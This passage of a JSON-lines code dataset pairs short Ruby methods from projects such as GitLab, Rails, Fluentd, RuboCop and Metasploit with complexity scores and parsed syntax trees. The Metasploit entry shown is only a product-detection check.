end","complexity_score":39.2,"ast_json":"{\"type\":\"def\",\"children\":[\"image_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"check_for_image_tag_errors\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"skip_pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"skip_pipeline\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"src\"]},{\"type\":\"send\",\"children\":[null,\"resolve_asset_source\",{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"skip_pipeline\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"srcset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"srcset\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"srcset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"srcset\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src_path\"]},{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"src_path\",{\"type\":\"send\",\"children\":[null,\"path_to_image\",{\"type\":\"lvar\",\"children\":[\"src_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"skip_pipeline\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"size\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"width\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"height\"]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_dimensions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"size\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image_loading\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"loading\"]}]},{\"type\":\"send\",\"children\":[null,\"image_loading\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image_decoding\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"decoding\"]}]},{\"type\":\"send\",\"children\":[null,\"image_decoding\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"str\",\"children\":[\"img\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"90b65021-03db-48a1-ad85-6d6f810d84b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet_repository.rb","start_line":66,"raw_source":"def ensure_sharding_keys\n    return if compact_sharding_keys.size == 1\n\n    self.organization = snippet&.organization if snippet&.organization_id.present?\n    self.project = snippet&.project if snippet&.project_id.present?\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_sharding_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compact_sharding_keys\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"organization_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"organization=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"organization\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"project_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"project\"]}]},null]}]}]}","id":"926d45cb-ca59-4dca-b940-4b0faf1e8d77"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_single_chunk.rb","start_line":172,"raw_source":"def self.generate_stage_chunk_path(path, key, unique_id)\n          pos = path.index('.*.')\n          raise \"BUG: buffer chunk path on stage MUST have '.*.'\" unless pos\n\n          prefix = path[0...pos]\n          suffix = path[(pos + 3)..-1]\n\n          chunk_id = Fluent::UniqueId.hex(unique_id)\n          \"#{prefix}.#{key}.b#{chunk_id}.#{suffix}\"\n        end","complexity_score":11.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_stage_chunk_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"unique_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"index\",{\"type\":\"str\",\"children\":[\".*.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"BUG: buffer chunk path on stage MUST have '.*.'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"UniqueId\"]},\"hex\",{\"type\":\"lvar\",\"children\":[\"unique_id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\".b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk_id\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]}]}","id":"e5166190-47ff-4425-9440-00430978a61d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/outdated_discussion_diff_lines_service.rb","start_line":16,"raw_source":"def execute\n      line_position = position.line_range[\"end\"] || position.line_range[\"start\"]\n      found_line = false\n      diff_line_index = -1\n      diff_lines.each_with_index do |l, i|\n        if found_line\n          if !l.type\n            break\n          elsif l.type == 'new'\n            diff_line_index = i\n            break\n          end\n        else\n          # Find the old line\n          found_line = l.old_line == line_position[\"new_line\"]\n        end\n\n        diff_line_index = i\n      end\n      initial_line_index = [diff_line_index - OVERFLOW_LINES_COUNT, 0].max\n      last_line_index = [diff_line_index + OVERFLOW_LINES_COUNT, diff_lines.length].min\n\n      prev_lines = []\n\n      diff_lines[initial_line_index..last_line_index].each do |line|\n        if line.meta?\n          prev_lines.clear\n        else\n          prev_lines << line\n        end\n      end\n\n      prev_lines\n    end","complexity_score":52.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_position\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"line_range\"]},\"[]\",{\"type\":\"str\",\"children\":[\"end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"line_range\"]},\"[]\",{\"type\":\"str\",\"children\":[\"start\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found_line\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_line_index\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_lines\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_line\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"type\"]},\"!\"]},{\"type\":\"break\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"new\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_line_index\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"found_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"old_line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_position\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_line\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_line_index\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"initial_line_index\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_line_index\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"OVERFLOW_LINES_COUNT\"]}]},{\"type\":\"int\",\"children\":[0]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_line_index\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_line_index\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"OVERFLOW_LINES_COUNT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_lines\"]},\"length\"]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prev_lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_lines\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_line_index\"]},{\"type\":\"lvar\",\"children\":[\"last_line_index\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"meta?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev_lines\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev_lines\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"prev_lines\"]}]}]}","id":"623c5fad-cbbd-4c7e-8de9-dbccc1761169"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240918124015_add_package_id_as_foreign_key_in_packages_conan_package_revisions.rb","start_line":13,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_conan_package_revisions, column: :package_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_package_revisions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_id\"]}]}]}]}]}]}","id":"a72ab8fc-b871-433a-8dfe-05bdcd31a8d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/branches/new_branch_ref_dropdown_spec.rb","start_line":85,"raw_source":"def filter_by(filter_text)\n    click_button 'master'\n    send_keys filter_text\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"send\",\"children\":[null,\"send_keys\",{\"type\":\"lvar\",\"children\":[\"filter_text\"]}]}]}]}","id":"d117679e-5c04-44a9-bfd9-0bf3520f0608"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":741,"raw_source":"def generate_username\n    Users::UsernameGenerator\n      .call(auth_provider_usernames)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"UsernameGenerator\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"auth_provider_usernames\"]}]}]}","id":"bfd1df5e-12e8-41d1-a903-aedffc64d676"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/relocation.rb","start_line":67,"raw_source":"def move_into_folder(folder_or_id)\n    raise _(\"VM has no EMS, unable to move VM into a new folder\") unless ext_management_system\n\n    folder = folder_or_id.kind_of?(Integer) ? EmsFolder.find(folder_or_id) : folder_or_id\n\n    if parent_blue_folder == folder\n      raise _(\"The VM '%{name}' is already running on the same folder as the destination.\") % {:name => name}\n    end\n\n    raw_move_into_folder(folder)\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"move_into_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder_or_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"VM has no EMS, unable to move VM into a new folder\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"folder\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder_or_id\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsFolder\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"folder_or_id\"]}]},{\"type\":\"lvar\",\"children\":[\"folder_or_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_blue_folder\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"folder\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The VM '%{name}' is already running on the same folder as the destination.\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raw_move_into_folder\",{\"type\":\"lvar\",\"children\":[\"folder\"]}]}]}]}","id":"15acc2f5-714a-4928-8f96-44e65c110920"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/reference_filter.rb","start_line":207,"raw_source":"def escape_html_entities(text)\n          CGI.escapeHTML(text.to_s)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"escape_html_entities\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"to_s\"]}]}]}","id":"5975dc1f-e252-4b52-8a64-a6b580863b95"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb","start_line":73,"raw_source":"def check\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'GET'\n    })\n\n    if res&.code == 200 && res&.get_html_document&.at('//title')&.text&.strip == 'Welcome to Sitecore'\n      CheckCode::Detected('The target is running SiteCore.')\n    else\n      CheckCode::Safe('The target does not appear to be running SiteCore.')\n    end\n  end","complexity_score":21.23,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"//title\"]}]},\"text\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"Welcome to Sitecore\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"The target is running SiteCore.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The target does not appear to be running SiteCore.\"]}]}]}]}]}","id":"56de4934-ab74-4924-ad3f-15d0fda4821a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/auth_helper.rb","start_line":100,"raw_source":"def form_based_provider?(name)\n    [LDAP_PROVIDER, 'crowd'].any? { |pattern| pattern === name.to_s }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"form_based_provider?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LDAP_PROVIDER\"]},{\"type\":\"str\",\"children\":[\"crowd\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}","id":"af778255-c15c-42b0-b338-d801d20e385d"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":279,"raw_source":"def test_haml_tag_name_and_attribute_classes_merging_with_id; skip\n    assert_equal(\"<p class='bar foo' id='some_id'></p>\\n\", render(\"- haml_tag 'p#some_id.foo', :class => 'bar'\"))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_haml_tag_name_and_attribute_classes_merging_with_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p class='bar foo' id='some_id'></p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"- haml_tag 'p#some_id.foo', :class => 'bar'\"]}]}]}]}]}","id":"ce23e461-aa93-40d1-8b9c-91a11e9cff00"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/custom_fields/hierarchy/item_form.rb","start_line":79,"raw_source":"def root\n        @root ||= @target_item.parent.root\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_item\"]},\"parent\"]},\"root\"]}]}]}","id":"0a992031-8946-4257-8295-fcbc76c5f2fd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_case_condition.rb","start_line":107,"raw_source":"def replace_then_with_line_break(corrector, conditions, when_node)\n          return unless when_node.parent.parent && when_node.then?\n\n          range = range_between(conditions.last.source_range.end_pos, when_node.loc.begin.end_pos)\n\n          corrector.replace(range, \"\\n\")\n        end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_then_with_line_break\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"conditions\"]},{\"type\":\"arg\",\"children\":[\"when_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_node\"]},\"parent\"]},\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_node\"]},\"then?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"last\"]},\"source_range\"]},\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_node\"]},\"loc\"]},\"begin\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"bfafc775-bd96-475f-856c-cdb6f731ba1a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb","start_line":177,"raw_source":"def test_has_one_through_eager_loading_through_polymorphic\n    members = assert_queries_count(3) do # base table, through table, clubs table\n      Member.all.merge!(includes: :sponsor_club, where: [\"name = ?\", \"Groucho Marx\"]).to_a\n    end\n    assert_equal 1, members.size\n    assert_not_nil assert_no_queries { members[0].sponsor_club }\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_one_through_eager_loading_through_polymorphic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"sponsor_club\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"str\",\"children\":[\"Groucho Marx\"]}]}]}]}]},\"to_a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"sponsor_club\"]}]}]}]}]}","id":"13ed284f-75dd-49fe-8f02-0d3b0ac3cea2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/labor_budget_item.rb","start_line":55,"raw_source":"def overridden_costs?\n    amount.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overridden_costs?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"amount\"]},\"present?\"]}]}","id":"9934abc8-942c-474b-92a4-6ab2153c4855"}
